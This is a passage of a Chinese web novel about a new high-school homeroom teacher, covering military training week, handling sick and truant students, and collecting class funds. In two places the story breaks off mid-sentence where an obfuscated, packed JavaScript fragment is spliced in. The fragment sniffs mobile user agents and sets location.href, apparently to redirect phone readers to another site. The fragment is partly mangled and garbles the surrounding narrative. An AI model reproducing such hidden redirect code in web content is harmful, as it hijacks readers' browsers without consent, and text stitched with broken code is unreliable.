《班主任日常:无痛当妈,一胎五十宝》 3. 军训,看似训学生实则训老师(上) 军训第一天,温云旗起得很早。 在正式上班之前,她也稍微调整了作息,争取上班之后能每天早起,x高早自习都是班主任在岗,她不早起不行。 实际上,调整作息在绝对的疲劳面前是没有用的。还没到十二点,温云旗就直接昏睡过去。要知道,她平时都是一两点才睡的夜猫子。 幸亏温云旗在上班前一天上手机应用商店买了一个闹钟软件,在配合手表监控睡眠的情况下,能够做到在计划的时间范围内,叫醒处于浅睡状态的人。 温云旗试用了一天,觉得非常管用,198块钱巨款真没白花! 按缺勤一次扣七块来计算(因为早自习七块钱一节课),她只要按时到岗一个月就能把这笔钱赚回来了。 六点四十早自习,温云旗给自己定的闹钟是六点,十分钟赖床,二十分钟洗漱,剩下几分钟和葛影赶路。 拜这个超贵的闹钟所赐,她五点四十就被叫醒了。按闹钟的逻辑,这时她正在浅睡状态下,轻易就能叫醒。 你就说是不是在六点前准时醒了吧。 醒是醒了,睡也少睡了。 那可是整整二十分钟的黄金时间! 没辙了,于是她放任自己赖床到六点。打开手机,先回复了昨天睡前已经粗略看过但还没回复的消息,而后刷了昨天一天都没刷过的朋友圈。 等打开朋友圈看到很多风格迥异的头像发的各种送孩子上学的照片、视频,她才恍惚自己开学了,微信上也由此多了许多家长的好友。 她打开联系人列表划到最底下数了数,多了接近一百个好友,除开学生本人及其父母之外,还有若干学生的姑妈、爷奶、哥姐…… 真是庞大的一家子啊。 真是庞大的一个微信列表啊。 这哪里是班主任微信。 根本是社恐的地狱啊! 六点三十八分,温云旗和搭子葛影准时到达教学楼,刷脸打完卡到教室门口,刚好四十分的铃声响起。 踩点成功。 班上的学生来得还算整齐,一帮人穿着绿色迷彩作训服,坐得歪歪扭扭的,没个人样。 又等了几分钟,剩下的几个学生灰溜溜地钻进教室,小猫几只,温云旗选择放过。 她站在讲台上表扬学生:“来这么早啊!不错不错!为师很满意!” 谁知她此话刚出,台下却同她告起状来:“老师!你不知道宿管今天几点叫的我们!” “几点?” “六点!!!”学生控诉道:“六点二十才起床铃!” 宿管为什么那么早喊你们心里没数吗?还不是怕你们赖床迟到! 但这样的话她只在心里说说,嘴上还得给学生们画饼。 温云旗笑眯眯地:“那我更要表扬你们了!宿管一喊就起来了,真棒!而且每个人都穿上了作训服,看来你们对军训很是期待啊。那看来老师也可以期待你们的表现了。” “军训,一方面是锻炼你们,一方面也是一个和同学快速熟悉、成为朋友的机会,大家要好好珍惜这七天时间。” 闻言,学生们发出兴奋的哀嚎。 这是又怕又好奇,温云旗懂。 没关系,不排斥就行,问题应该不大。 但经常看文艺作品的朋友都知道,当主角说出“问题不大”时,一般情况下,问题就要来了。 温云旗还是太年轻了。 趁早自习时间,温云旗让学生做了个自我介绍,算是初步破冰。 下课吃完早餐,师生集体在田径场集合。军训之前,还需要开一个领导们喜闻乐见,班主任们痛苦罚站,学生们被动聆听的动员大会。 不过温云旗也因此发现了最后一个班的好处——找都不用找,划给她们班的地方肯定是最边上。 八点半的太阳还不算耀眼,温云旗可以忍受,学生们此时也比较兴奋,老老实实地站着。 时间来到十点半。 让人痛苦的会还在继续……日头已高,耀眼的阳光炙烤着大地也炙烤着在场每个人。学生间开始骚动,班主任们开始走到队伍中间维持记录,领导们…… 领导们坐在台上,不动如山,滔滔不绝。 葛影隔壁的男老师也是新进来的同期,是个好人。不知他从哪拿的水,给葛影温云旗这块的几位老师一人递过一瓶,温云旗正听得口干舌燥,赶忙谢了接过:“你哪拿的水?” 宁珂指了指升旗台右侧下方,示意她们看。 温云旗这才发现升旗台下边放了几箱水,旁边还有几个老师聚在一块聊着天,有年长的,也有年轻的。 一定的生活经验和八卦嗅觉告诉温云旗,有瓜。 她拉着葛影宁珂几个人在众目睽睽之下走了过去。 到了人堆里,她礼貌地和各位老师打了招呼,然后非常自然地将自己的位置安插在人与人之间,两只耳朵开始光明正大偷听。 “这军训真是的,又累又没钱。七天就四百二,每天一百块就没有,都不给算加班。” 温云旗听了也在心里叹气。辛辛苦苦一天下来才六十,还不够她买个蛋糕喝个奶茶犒劳自己。 “每次开会都是,大领导讲完二领导讲,几个领导不每个人都讲一次话,这会就不能结束。你说要那么多废话干嘛?谁想听?” 这话温云旗不能再同意。她跟着旁人一块点点头。 意识到在场的人多,还在发牢骚的老老师突然不说话了,笑眯眯地看向她们这群年轻人:“噢哟,都是今年新进的老师们吧,一个个青春靓丽,我们这种老骨头已经人老珠黄喽,真是自愧不如!” 这题温云旗会,遇到比自己年长的,就在心里把对方年龄五十减十五:“而且您才三十来岁吧?哪能说自己人老珠黄呢,这皮肤好好呀,白里透红的。” 这话果然将对面的老师夸得满面红光:“哪里哪里,我四十多了,再过十年都退休了!” 温云旗陪着尬笑:“那可得多教几年!老师们经验丰富,我们是您们的学生。以后少不了像大家取经,还希望老师们多多帮助。” “还得靠老师们带领。”葛影几个迅速跟团。 面前的老老师摆摆手:“经验什么的,干多了就有了,我们也要向你们这群年轻人学习,互补互补!” 正聊着,学生们突然躁动起来,欢呼声、鼓掌声、口哨声不绝如缕,几个人回头一看,原来是教官们汇操表演,上天入地的几个动作给一帮小孩迷得不要不要的。 “散了散了,都回班上去吧,快结束了。”老老师凭借经验判断出这是大会结束的信号,带头回了班上。 等教官结束表演来到班上,迎接他的就是一众女生的星星眼,这让年轻的教官有些不知所措,站在原地摸了摸自己的寸头,左看右看。 温云旗不理解,不就是几个动作吗,值得她们这样?大紫薯快音那些软件上不多得是? 还是刷得少了。 教官来队伍里,是为了跟着学生回宿舍叠被子。 温云旗先解散了队伍,男生女生各回各家,教官一个宿舍一个宿舍教过去,人人有份。 刘波先去的男生宿舍,男生和男生总是熟悉得快,温云旗干脆没上去,和刘波约好一刻钟后去女生宿舍。 等到了女生宿舍楼下,刘波却一反常态,止步不前,在原地踌躇。 温云旗还有些疑惑,刘波找到她,小声和她说道:“温老师,学校领导和总教官都三令五申交待,让我们不能单独进女生宿舍。” 这点,在班主任会议时,领导也反复强调过,温云旗自然是知道的。 但她不是还在这里吗?教官有什么不能进的? 刘波看看她,又看看宿舍大门。 温云旗福至心灵。对方的意思是,让她先走,给他开路,这样他好跟上。 行吧。既然你这么注意利剑护蕾我就放心了。 刚爬上六楼,还没进女生宿舍,刘波又提醒她:“温老师,麻烦你和女生们提醒一下,我怕她们这个时候不方便。” 这教官是个细心的。 温云旗冲着几个女生宿舍喊了一声,里边传来几声尖叫。其实女生也没干什么,教官更没做什么,只是对于青春期的女生而言,年轻的异性进入女寝这件事情本身还是有些刺激了。 等刘波拿起靠门边女生的被子进行示范,将对方的被子叠成方方正正的豆腐块时,温云旗注意到,这个女生的脸已然悄悄红了。 你脸红个泡泡茶壶啊! 温云旗不理解,温云旗抓狂。 这就是代沟吗? 她本来还觉得自己和学生年龄差距不大的。 正式的军训从下午开始,为了防止学生扎堆请假逃训,早在早自习快结束时,温云旗就依照领导的指挥和大紫薯的提示,打出三张牌: 找家长,找三甲医院,找领导。 想请假?没那么简单。 原则上,学生需要在家长同意的情况下,带着三甲医院的医嘱,找到领导进行申请。少一样都不行。 诶,你说老师不批你假? 对不起,这假本来也不是我批的。 这样一来,果然劝退了一批人。 但也有例外,毕竟,上面说的都是“原则上”,懂得都懂。 其一,是一个男生,刚开学脚就真菌感染起了几个泡,虽然穿着迷彩服,但却是趿拉着一双拖鞋来的。 家长也给温云旗发信息说请求不参与军训。 温云旗把他带去校医那一看,校医不批,认为不影响军训。 但男生不同意,家长也听孩子的,温云旗夹在中间,只好找到级部领导,把男生的情况往严重了说,领导也没求证,只让她把名单报过去。 safe。 温云旗和男生交待:“虽然你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934698|192847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不军训,但你还是要陪着同学们一起在操场,尽量和同学们多相处,不然你到时候上课了也和他们不熟,这样也不好。” 温云旗这会和学生说的,都是肺腑之言,亲身经历。 她大一时就因为贫血不用军训,尽管每天待在训练场帮助班们做后勤工作,但也没能和同学们太熟悉,等过了军训,她才发现有些同学之间的关系变得非常密切,她很难找到朋友。 学生“嗯嗯”两声,拖着条腿走了,校医姐姐则偷偷和温云旗吐槽:“他那个伤口,其实完全可以忍着,不过就是个泡,我穿高跟鞋还经常脚起泡呢。” “再等一天,他那个伤口都要愈合了。” 温云旗耸耸肩:“没办法,家长帮他请假了,咱们也劝了。就这样吧。” 正要和校医姐姐道别,教官刘波又打电话来:“温老师,咱们班有个女生发烧,我让她过来医务室了。” 咪的天,怎么开学第一天就发烧。 没过两分钟,医务室门口就出现了一个眼熟但不认识的女生,对方看到她就喊老师。温云旗知道,这肯定就是自己班那个发烧的了。 温云旗摸了摸女生的额头,得有个三十八九度,她赶紧扶着女生坐下:“快坐下,我们量个体温。”顺便又问了对方名字,林锦玉。 “三十八度七,算高烧了。”校医眯眼看了看温度计:“挂水还是吃药?” “挂水,挂水好得快。”女生的声音弱弱的,细细的:“老师,我想要军训的。” “那您看着给她打吧。”温云旗此时还是个粗线条,要打针就打针,要开药就开药。 但对面的校医姐姐却没动。 两个人你看看我,我看看你。 最后还是校医姐姐忍不住,把温云旗拉到门口:“学生发烧,你联系家长没?” “没有。我打算等会说。” “现在就说!”校医姐姐拍了她一下:“她感冒,要挂水要开药,你都先和家长通个气,最好让家长发个书面的文字,你也好留作证据,凡是怕万一。” “而且,她打针吃药不要钱的?你不事先说明,难道还自己垫钱?” 经由校医姐姐提醒,温云旗这才意识到留痕的重要性。 万事要留痕。 先保护好自己。 “啊!我都没想到这块!”她赶紧谢过校医姐姐:“还好有姐姐你提醒我!真是感谢!” 两人笑眯眯地交换了对方的联系方式,温温柔柔的校医姐姐有个与外表截然不同的名字——邹英杰。 真帅。 温云旗按照花名册上的电话拨过去,对方接通后她打开扬声器,和林锦玉一起听。等她把事情的来龙去脉和需求说给家长后,对面马上传来尖利的骂声:“怎么感冒的!这才开学第一天!” “我……我昨天洗完头没吹……”林锦玉已经哭了。 “我是不是告诉过你,洗完头发一定要吹干!你们宿舍走廊不是有吹风机吗?怎么不用!” “昨天太晚了……熄灯了我怕吵到同学……就湿着头发睡了……” “你不会早一点把头发洗了吗?” 中国式父母大部分时候习惯于用指责的方式来解决问题,殊不知这根本就不是解决问题的办法。 温云旗越听越生气,拍拍还在抽噎的林锦玉,把手机拿到嘴边说话:“抱歉家长,我打断您一下。” 听到温云旗说话,家长的怒气顿时收了几分:“哦温老师你在旁边啊……您说。” “林锦玉妈妈,林锦玉现在高烧快三十九度,本身就不太舒服了,我知道,您也是担心她,心疼她才批评她,但现在批评根本解决不了问题。您批评她,她就能不发烧了吗?” “我相信,她感冒发烧,肯定不是故意的,她也在心里自责呢,孩子毕竟还小,不会照顾自己很正常。” “感冒过一次,下次就会注意了。吃一堑,长一智不是么?” “您别忙着批评她,她才来学校,正是想家的时候,现在身体不舒服着,更需要的是您的安慰。” 家长在对面应是:“老师,我现在也来不了学校,我能怎么办呢?” “林锦玉特别坚强,怕影响军训,还和医生说要挂水,我现在正在这陪着她,麻烦您微信给我发一句话答应她在校医这里挂水就行,我晚点把花费报给您。” “好,好,好。”家长在对面连连感谢:“谢谢温老师。我还想和我们家林锦玉说几句话……” 温云旗这才把手机递给女生:“和妈妈好好聊聊。” 林锦玉抬头看向温云旗,朦胧的泪眼里,满是崇拜。 邹英杰这时拿着配好的药过来,也偷偷给温云旗比了个大拇指。 没办法把小时候的自己重新养一遍,那就好好养一遍自己的学生吧。 温云旗复盘了一下,还是觉得自己刚刚帅爆了。 耶。 4. 军训,看似训学生实则训老师(下) 烈日灼身。 学生们正在操场煎熬着。 班主任们亦是。 没办法,学生军训,领导们的头一个要求,就是班主任全程在场。 嗯,全程陪晒。 只一个人例外。 贺峥是军训第二天下午不见的。 下午两点半,刘波准时查人点到,学生们午睡刚醒,还蔫蔫的,点了七八个人,都应得有气无力,这位年轻的教官此时站着军姿大声地训斥他们:“声音这么小,是中午没吃饱吗?” “没有。”依旧稀稀拉拉、有气无力的。 “大声点!” “没有!” “再大声点!” “没!有!” “很好!很有气势!”刘波这才重新点到,这次按花名册倒着来。 “张涛。” “到!” “刘禹!” “到!” “贺峥!贺峥?” 无人回应。 温云旗本来还在和几个年轻班主任聊天,就听到背后刘波叫她:“温老师!” 贺峥没来,能去哪呢? x高夏季作息安排了一个半小时的午休,就在教室里睡,班主任同样被要求全程在岗。 嗯,这回是全程陪睡。 做保姆是这样的。 稍微人性化的是,班主任们只需在教室维持一段时间的纪律,等到学生们睡着便可离开,到办公室午休。 级部领导自己带了火箭2班,每天中午从他自己班出发,一层一层查下来,查到一个班就放一个班主任回去午休。温云旗可以肯定,自己离开之前,贺峥是一直在教室的。 不过,午休结束时她去班上喊人集合时,他的确是不在的。 当时她还朝男生们问了一嘴,学生说可能是去上厕所,温云旗赶着让他们去操场,就没追究。 她赶紧查监控,教室现在是空的。 再看回放,发现贺峥在她离开之后,就开门出了教室。 也就是说,贺峥离开教室后,一直没回来。 好好好。 贺峥不是走读生,学校大门他出不去。 能去哪里呢? 菜鸟驿站? 不,菜鸟驿站午休关门的。 食堂? 不,食堂这个时候也休息。 小卖部? 有可能。温云旗快走走到学校超市,这时高一军训,高二三的在上课,超市里只几个逃课的高年级学生靠在柜台那块和老板聊天。 贺峥并不在这里。 此时天热,一个可以为了在家多享受一会不来报到的学生,不太可能出现在室外。 那只剩下一个地方。 宿舍。 想到这里,温云旗咬咬牙,两只手掌心向上抬又向下压:“莫生气莫生气,生气容易早嗝屁。” 她才二十一岁,不想长结节。 对了,凡事先报备。 报备有很多种方式,可以微信,可以电话,但也是就事情严重程度而言,学生失踪比较紧急,微信信息不一定能及时看到,还是打电话通知一声比较好。 打电话之前,温云旗先给自己做了会心理建设。 天杀的,她可是个i人,隔着网线尚且还能和人侃侃而谈,但真到了对话环节,就要支支吾吾了。 她用手机备忘录先码了一段草稿,深呼吸几口气,才敢给领导打电话: “刘、刘主任,我是2421班的班主任温云旗,刚集合查人的时候,我班有个学生不见了。” “不见了?”刘主任本来温和的声音突然变得严肃:“去找了吗?” “找了,我现在在小卖部这里,没看到人。准备去宿舍楼找找。” “行,有结果随时告诉我。和家长说了吗?” “我先和您报备一下,马上就和家长说。” “好,最好发个文字信息。” 工作留痕嘛,温云旗明白:“好的,谢谢刘主任提醒。” 挂了和领导的电话,她马上给家长报备:“贺峥妈妈,今天下午军训,贺峥不见了,我现在正满学校找他。” 发送完文字,还要给家长打个电话。一回生二回熟,给家长打电话时,倒也没那么紧张了。 电话拨通,伴随着清脆的搓麻将音,温云旗首先听到一声激动的“胡了”,然后才是一个慵懒的女声接起了电话:“谁啊?” 温云旗撇撇嘴:“贺峥妈妈您好,我是贺峥的班主任。” “温老师?!”女人声音里的慵懒瞬间不见,换了紧张:“是不是我家贺峥又闯祸了?” 这就是亲妈吗,果然对儿子了如指掌。 “他人不见了,我去了几个地方找,都没找到他。现在准备去宿舍看看,等找到他,我再给您打电话。” “好的好的,麻烦温老师了,真是不好意思……” “没事,我应该的。”温云旗表面平静地挂断了电话。 大中午的,一肚子气。 温云旗找到贺峥时,他正躺在宿舍的床上呼呼大睡,头顶的空调开到十六度,温云旗打开门就是一阵冷风扑面而来,背后热浪汹涌,两极夹击,身体一面在夏天,一面在冬天。 此情此景,温云旗只想骂爹。 老娘辛辛苦苦在操场陪你的同学们挨晒,你倒好,在这里睡得正香。 她气冲冲地走到他床边,对着铁床的上铺匡匡一阵敲:“贺峥!贺峥!” “起来!” “吵死了……”男生把头往被子里缩得更深。 “给!我!起!来!听!到!没!有!”温云旗直接掀被子。 被子掀开,露出光溜溜的半具身体,好家伙,空调开到十六度,被子盖得严实,上半身衣服又脱得精光。 真会享受。 被子没了,人醒了。 美梦被打搅,男生腾的一下坐起身来,就要向温云旗发火:“干嘛啊!” “我干嘛?你在这里睡觉是干嘛!” “睡觉啊,你不是知道吗。”男生顶嘴道。 “你现在该干嘛不知道吗?” “军训。” “你还知道啊!”温云旗生气道:“快把衣服穿上去操场。” “不想去。” 简简单单三个字,轻轻松松激起温云旗三层怒火。 温云旗想打人。 但理智告诉她不可以,犯法。 没事的,没事的。学生是发展的人,犯错很正常的,她安慰自己。 死去的教资开始攻击她。 按照教资,她该怎么做来着? 哦,先不要批评,而是了解情况。 “为什么不想去?” “累。” “热。” “烦。” 贺峥一个字一个字地往外蹦。 “嗯,理由很充分。”温云旗点点头,然后选择无视:“不过,不成立。” “其实,累也好,热也好,烦也好,老师都可以理解。”温云旗没有第一时间批评他,而是选择怀柔:“我读高中的时候,也不想军训。” “所以,老师完全可以理解你。” “我当时特别想让我妈给我开个请假条逃避军训。太阳那么晒,每天还起那么早,谁喜欢军训啊。” 其实温云旗高中那会军训最积极,还是班里的军训标兵,但这会为了和贺峥树立共同的敌人,见鬼说鬼话。 哼哼,共同敌人效应,通过共同讨厌的对象来加强关系。 听到温云旗轻柔而包容的话语,刚才还很暴躁的男生慢慢平静下来,做出倾听的样子。 “不过,我在做出决定之前,先算了算这个决定的后果。我意识到,如果不军训,我一定会失去一个最好和同学们熟悉起来的时机。” “才开学,我是我们初中唯一一个考到那个学校的,谁都不认识,没人是我的朋友。”这种孤独小女生的故事,温云旗张口就来:“我特别害怕孤单。我怕军训后大家都打成一片,偏偏不和我玩。所以,哪怕军训很辛苦,我最后还是没逃避。” 这么幼稚的哄小孩的故事,对面的黄毛却听得认真。 这一步棋,算是走对了。温云旗暗道。 她趁热打铁:“哎,那天你妈妈给我打电话,说要晚几天再来的时候,我还担心你是个很叛逆的少年。不过,老师一给你规定时间,你就和妈妈来报到了,说明你其实还是比较在意高中生活的。” “你是听得进话的。一开始看到你这个发色,我差点误会你,但实际上你很好。” 闻言,贺峥自恋地抓了把自己的黄毛。 “我本来还很期待在军训期间看到你和同学之间打成一片的,”温云旗装作伤心模样:“你这人高高大大的,男生们应该很能服你。老师还指望要你帮忙管理男生呢。” 她昧着良心夸人。 但这话贺峥很是受用,眼睛亮亮的。 “哎,”温云旗叹气:“可惜啊,你都不去军训。” 贺峥抬头看天花板。 “一个人在宿舍睡觉有什么意思,不孤单吗?军训还有人陪你呢,这时候最好交朋友了。” “还是说,你早就有好朋友啦?那你不和人一块军训,岂不是只能同甘,不能共苦?你兄弟得怎么看你啊。” “你也不想被当成个懦夫吧,贺峥?”温云旗循循善诱。 “我去。”贺峥闷闷地说:“我不是懦夫。” “我只是、只是在教室睡不着,回宿舍睡过头了。” 人已经被说动,温云旗自然是无有不信:“嗯嗯,我明白。这不我就来宿舍喊你起床了么。” 男生抓住上铺栏杆一把跳下来,捡起衣服给自己穿上,跟着温云旗一块离开。 从宿舍楼到操场的路上,她将找到学生的消息依次发给家长和领导,才长呼出一口气来,事情终于解决了。 贺峥走在前面,拿着她手机给家长打电话远程挨骂,后头温云旗的眼神忍不住落在他那头黄毛上。 学校下发的校规上,明确规定了学生不能染发,抓到一次扣两分。 这头黄毛,早晚得让他染黑。 温云旗从小到大都是个爱使唤人的。 当了老师后,少不了要叫学生干活,但她又觉得直接喊“喂”不太礼貌,为了更好的调兵遣将,还是得把学生的名字都记住才行。 但温云旗脸盲。从进学校到现在,开了大大小小不下十次会,她连学校那堆领导都还没完全分清,更何况面对学生。 只能硬记。 她远远地看到贺峥入队,就在班级旁边找了个空的草地盘腿坐下,开始干活。 花名册上只有名字和性别,但这不难,激活校卡需要录脸,学生和家长版的智慧校园能够看到出入校的刷脸记录,温云旗下载的教师版权限更多,后台能够看到所有学生的信息。 参考英语单词的记忆法,她对照着花名册和人像,开始死记硬背。 先是边看名字边认人,然后对着花名册回忆样子,等到比较熟练后,她就开始围绕着队伍转圈,对着晒化了的学生一个个认人。 花名册看一个名字,就在队伍里找这个人,然后通过智慧校园的人像进行验证。错了,就把这个人连着认三遍。 大学考六级都没这么认真过。 如此发奋24小时,第三天下午,她终于把全班同学的名字都记住了。 等到她指挥学生去搬水时,被喊到的那个学生还一脸感动:“老师你认得我!” “废话,你是我的学生,我怎么不认识你。”温云旗一脸骄傲。 x高是几年前民办转的公立,口碑业绩平平,录取分数线还是公办普通高中里最低的那批,生源自然也平平。 所以,来到x高,至少来到x高平行班的很多学生,在以前都是很容易被老师忽略的透明人。 长相一般、身高一般、成绩一般、家世一般。 什么都一般,什么都不突出的人,说句尖锐的点评,其实就是最容易被老师忽略的一群人。 读书三年,被老师点名的机会大约也是屈指可数。 人的记性使然,那些表现突出的人,或成绩优异,或超级搞事,明显更容易让人有印象。 那么,当那些总是被忽略的学生被叫住名字,会不会很开心? 她们会不会在心里想,原来老师认得我,我不是默默无闻的。 准确叫出学生的名字很重要。 小小的人,需要大大的肯定。 事实证明,能够在开学仅三天的时间里,被老师准确叫出名字,就是一件惊喜的事情。 几个被叫到名字的男生哼哧哼哧就把桶装水搬了回来。 使唤成功。 温云旗无比得意,把这件事情和几位同期分享:“我花了一天时间把学生的名字都记住了!” “牛逼!我到现在还只能认出半数学生。” “怎么记住的啊,好厉害!” 温云旗并不藏私,大方和大家分享办法,谁知几人听完后纷纷摇头:“也太发狠了,我还是随缘记吧。” 别说军训期间学生和学生更容易打成一片,老师和学生之间也是的。 难怪军训是黄金破冰期,自从把班上学生都记住后,学生明显对温云旗也更热情,一到休息,很多人连教官都不找了,找她。 “老师老师,你是哪个学校毕业的啊?” “老师老师,你教了几年书啊?” “老师老师,你有没有男朋友啊?” 诸如此类,温云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934699|192847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旗不胜其烦。 别说半大小子吃穷老子,半大小子也能烦死老子。 “动什么动,我让你动了吗!” “笑什么笑,有那么好笑吗!” “会不会打报告!” “鸭二鸭!” “好,坐下!” 当最懒惰的学生摊上最心软的教官,不过半小时,又休息上了。 跟玩儿似的。 温云旗骨子里好强,虽然接的是年级最后一个班,但她压根不希望自己班真的被冠上差班之名,只好旁敲侧击和教官说加大强度,结果对方来一句:“温老师,我觉得孩子们已经很努力了。” 左转转右边,左脚踢右脚,齐步走不齐……嗯,孩子们已经很努力了。 很努力在分心。 也幸好,军训汇演就那几个动作,一天练一个动作,总能像点样。 第五天,看不下去的温云旗亲自下场军训,带着男生一排一排的练习动作,一开始还是走不好,一排有一排的出糗和难看。 看到领导在大群里的学生军训视频,温云旗有点子了。 她打开相机开始录像:“来,我们继续练,这一次,我要把你们的样子录下来发到家长群,让家长们都看看。” “补药啊老师!” “我不准我不准!” “昂昂昂昂不要啊!” “我准了!”温云旗娘心似铁:“这个班我是老大!” 威胁可耻但有用,成效立见,不再嘻嘻哈哈了,军姿能站好了,一二一能走齐了。 同时,温云旗对学生的期待也被一步一步地降低。 放低期待,才能提高满足。 第七天军训汇演,2421荣获三等奖,正数第十九名。 温云旗放下心来。 不是倒数第一就行。 军训第四天晚上,又有学生感冒发烧,这次,是个清瘦的高个男生,校医给开了药,男生正要吃,被心细的温云旗阻止。 “晚上吃饭了吗?” “没有。” 温云旗也没批评学生晚上不吃饭这个事,看他捂着胃难受,就让他在原地等着,自己紧走慢走回办公室拿了下午买来,自己还没吃的香蕉,一拿就拿两个,这玩意补钾,是快碳,吃下去很快就能补充能量。 抽屉里的水牛奶蛋糕也拿两个。 快要出门时,她又返回来从办公桌下边的纸箱里拿出一盒牛奶,草莓味的,本是她的最爱,不过反正都是消耗品,给学生也没什么。 等她回到操场边上,已经是满头大汗。她一股脑地把东西都塞进男生手里:“快吃,吃完了再吃药。” 一米八的大男生拿着面包就哭了。 “老师,谢谢你。”谢柏川哭得直抽抽:“我妈都没对我这么好。” “我爸在我出生前就和我妈离婚了,很小的时候,我妈就改嫁了,然后生了个妹妹,后来又离婚嫁了第三任丈夫,把我和妹妹放到外婆家,我从小到大的生活费和学费,都是舅舅资助的。” “但舅舅自己也有家庭,他得关心自己的孩子。能给我们钱生活,已经很好了。外公早逝,是外婆拉扯我们长大。” “那你现在还和妈妈联系吗?”温云旗心里百感交集,帮他把香蕉扒开,递到他嘴边:“边吃边说。” “联系不多,我只知道她又生了弟弟妹妹。”男生小口小口地咬着香蕉:“但我不怪她,她也很难的。” “那……你晚上不吃饭,是感冒难受没吃饭,还是没钱吃饭?” “我……我不舒服,不想吃,晚饭那会在教室趴着。” 温云旗听出男生没说真话,也没揭穿:“好,那你快把这些吃了,吃东西好得快。” 她选择保护青春期小男孩的尊严。 一师一生一时间相对无言。 “老师,”吃着吃着,男生又开口,言语忐忑:“今天晚上和你说的,你能不要说出去吗?” “我、我不想同学们知道。” 温云旗拍拍他肩膀:“别多想,你的事,我干嘛说给别人听。” “老师还得谢谢你,愿意把你的秘密说给老师听。” 男生放下心来,并未注意到面前老师悄悄红了的眼眶。 温云旗暗暗为他感到难过,并决定把找领导打听贫困生补助列上日程。 军训七天,天公不作美,没下一滴雨。 这样的天气军训,对学生、对老师、对教官,都是种折磨。 最开始,还有两个女老师打伞防晒,结果隔天早上晨会时就被领导集火批评,没点名但也约等于点名了:“某些年轻女老师,让你守着学生军训,你打着把伞算什么,这么在意自己形象,就应该想想你打着伞在学生心里是什么形象!” 领导把话说得很重:“娇生惯养!一点苦也吃不得!” 台上批评得严肃,台下学生笑得放肆,温云旗皱了皱眉。 领导再觉得打伞不好,也不该当着学生面批评老师。 班主任刚开学就被当众批评,这个班,到时候还怎么带啊? 她虽然没带过班,但带班的道理还是知道的。 班主任想叫学生服管,起码得让人服气。 刚开学就被这样批评,怎么想也很难让学生服气吧。 温云旗同情地看向两位老师的方向。 再说了,打伞关你什么事。卖水管的吗,管这么多。 真关心学生,也来陪晒啊。 领导们自然是不会来的。 他们事向来多得很,日理万机嘛。 前几天,温云旗和一众同期还老老实实在操场陪晒。 年轻人虽然年轻,但毕竟闲着没事干,便开始观察。看了一圈,全是年轻老师在场,老老师们大部分时间也不在。 差不多就是领导查完岗,对方就不见了,过一段时间,又神奇地出现在班级边上。 哦豁,有破绽! 几个思路灵活的年轻人迅速总结领导查岗的几个时间点,学着老老师们,幽灵般逃课回了办公室吹空调,等到了时间,又幽灵般回到自己班的位置。 吹上空调很幸福。 摸到鱼更幸福。 嘻嘻。 老师们私底下聚在一块吐槽军训累。 有经验的老老师安慰温云旗她们说,过了军训就好了,军训是最辛苦的几天。 温云旗天真地选择相信。 结果…… 狗屁! 只有正式上课才知道,五十个学生,每天都就跟开盲盒一样,一天一个新事件。 没有最忙,只有更忙! 当然,老老师话也没说错,军训确实是最(身)辛(累)苦的几天。 因为接下来每一天都是心累~ damn。 5.老师,我们家梓涵怎么没有 军训结束,温云旗好好放了个双休,从天黑睡到天亮又睡到天黑。家里人知道她累着了,也没喊她。 等到周日返校,她先和葛影去了趟附近的水果店,准备买几个西瓜。刚军训完,年级的班主任们早就透露了风声,准备在晚上搞军训总结暨正式开学的班会,别家都是瓜子花生饮料,她们自然不能落下。 至于班费,放假当天也和学生和家长各有交待,收了一百块。 班费这个事,放在以前那根本不叫事,但放在现在,其实还挺棘手。 学校不让老师收班费,严格来说,所有和钱有关的事情,都得和老师无关。 家长怕老师乱收费,老师也怕被家长学生反过来污蔑,学校更怕担责。不然也不会演变出家委会这种存在。 班费还收吗?当然收!学生文印、活动、奖品等等等等,哪个不要钱,哪个又不要家长出钱? 不然总不能都老师垫付吧,要真这样,老老师还好,工作这么多年,每个月财政工资总也有三四千,每个月给学生支出个几百,倒也不是什么难事。 只不过也不是该的。 新老师呢,刚进校门,前半年甚至是没钱的,每月两千的工资不知道什么原因都压着呢,还是掌心向上啃老上班,哪来的钱垫? 更好笑的是,学校开学的时候在会上说得好好的,鼓励刚入编的年轻老师没钱了可以向学校借钱渡过难关,可实际上呢? 温云旗有位同期,家庭困难,没办法贴补她,她闻言真去找领导借钱,人根本不借,还说实在没办法可以先用用花呗。 …… 更何况,就不应该有老师垫钱这种道理。 学科老师给班上学生的小奖品归自己出钱还好,一个班的班费,那可不得了。 对老师,首先应当谈待遇,而不是强求付出。 待遇合适,工作自然到位。 低薪之下,谈何忠勇之士。 没道理的。 老师是一个需要高道德的职业,但这和好待遇并不冲突。 温云旗本来以为当老师只需要上好课,当班主任只要管好班就行,等上了一个月班,她就意识到根本不止这些个。 万千的行政工作在等着你呢哼哼。 当然,这都是后话了。 说回收班费这个事。 做过班主任的其实都知道,钱不沾手这四个字,虽然奉为圭臬,但实操其实很困难。温云旗所在的高中并没有家委会这种设置,各种采买,不可能不过她的手。 对于这一点,温云旗事先请教了有经验的老老师。 老老师告诉她们,班费当然要收,但要学生自己收,家长转过来的,老师也只能是“代收”。 班费收集,一笔巨款,学生不敢管那么多钱怎么办?老师代管。 且每一笔支出,都最好公示给学生和家长。 保证透明,才能保证自己的清白。 